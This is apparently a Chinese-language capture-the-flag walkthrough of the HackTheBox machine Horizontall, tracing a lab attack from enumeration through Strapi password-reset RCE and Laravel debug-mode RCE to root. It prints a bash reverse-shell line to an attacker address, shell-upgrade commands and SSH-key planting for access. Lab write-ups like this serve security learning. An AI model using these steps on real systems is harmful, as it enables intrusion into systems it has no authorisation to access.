Linux/Horizonatll

Enumeration

nmap

第一次扫描发现系统对外开放了22,80端口,端口详细信息如下

从nmap结果看,系统只对外开放了两个端口,22和80,还显示了域名为http://horizontall.htb,将其添加到/etc/hosts文件中

strapi 3.0.0-beta.17.4 Set Password+Remote Code Execution

访问网站,页面如下

但是网站里所有的链接都没有用,因此尝试扫描web目录,但是并没有发现什么有趣的内容,然后发现在app.c68eb462.js中发现了一个新域名api-prod.horizontall.htb,将其添加到/etc/hosts文件中

之后访问新发现的域名,结果只是在屏幕上打印了welcome,尝试扫描web目录

使用gobuster扫描目录,很快就发现了admin

访问目录会跳转到登录页面,可以清楚地看到登录框写着strapi,通过搜索发现strapi是一个开源的headless CMS

对一个已知的cms应用,先看看有没有现成的漏洞及利用方式,有未认证的设置密码,认证后的rce,第三个很有意思,看起来是将前两种情况合并在一起,先将利用脚本镜像到本地

在python脚本中有一段版本检查的代码

可以请求该url,来查看软件版本是否存在漏洞

版本一致,容易受到攻击,执行脚本

可以看到脚本修改了密码,在输入id后返回了错误,并且提示这个RCE无法看到输出,尝试用一个用反向shell连接kali

bash 复制代码
bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'

输入上述指令后,在监听端得到shell

获取交互式shell

bash 复制代码
script /dev/null -c bash
ctrl-z
stty raw -echo; fg
reset

可以拿到user的flag

Privilege Escalation

查看系统运行的服务

可以看到除了22和80外,还有1337,3306和8000端口,3306默认是mysql的端口,用curl请求1337和8000端口,这两个页面似乎都展示了页面

发现strapi的主目录是/opt/strapi

在本机上使用ssh-keygen生成公钥和私钥对

复制id_rsa.pub中的内容到目标主机/opt/strapi/.ssh/authorized_keys,因为没有.ssh目录,所以新建了一个,然后在该目录下,创建了authorized_keys并修改其内容

这个时候就可以使用ssh登录目标系统了,这个时候可以利用ssh隧道将本地端口转发到远程主机

bash 复制代码
ssh -i id_rsa -L 8000:localhost:8000 strapi@10.10.11.105

然后可以在本地访问8000端口

在页面最下方,有laravel的版本信息Laravel v8 (PHP v7.4.18),有了具体的框架及版本,可以查看是否存在漏洞及利用方式,发现如果框架处于调试模式时,可以远程代码执行

Laravel 8.4.2 debug mode - Remote code execution

不知道怎么确定是否在调试,尝试扫描目录之后,发现了/profiles,访问该链接

在Laravel中发现了一些调试信息,似乎框架就处于希望的调试模式,寻找漏洞利用程序,然后下载到本地并且为程序添加执行权限,因为刚才进行了端口转发,可以直接在kali机器上运行程序

发现,按照步骤运行完毕后,输出了root,可以将指令换成一个反向shell

在kali中开启监听后,执行指令,即可获得一个shell

相关推荐
sanggou30 分钟前
Linux批量执行工具脚本使用指南:一键运行多个release-dev.sh脚本
linux·bash
牧以南歌〆5 小时前
在Ubuntu主机中修改ARM Linux开发板的根文件系统
linux·arm开发·驱动开发·ubuntu
夜月yeyue6 小时前
设计模式分析
linux·c++·stm32·单片机·嵌入式硬件
kfepiza6 小时前
Debian的`/etc/network/interfaces`的`allow-hotplug`和`auto`对比讲解 笔记250704
linux·服务器·网络·笔记·debian
cuijiecheng20187 小时前
Ubuntu下布署mediasoup-demo
linux·运维·ubuntu
独行soc9 小时前
2025年渗透测试面试题总结-2025年HW(护网面试) 33(题目+回答)
linux·科技·安全·网络安全·面试·职场和发展·护网
java龙王*10 小时前
开放端口,开通数据库连接权限,无法连接远程数据库 解决方案
linux
bcbobo21cn10 小时前
Linux命令的命令历史
linux·histsize·histfile
花木偶10 小时前
【郑大二年级信安小学期】Day6:CTF密码学&杂项&工具包
安全·web安全·密码学
jingyu飞鸟11 小时前
linux系统源代码安装apache、编译隐藏版本号
linux·运维·apache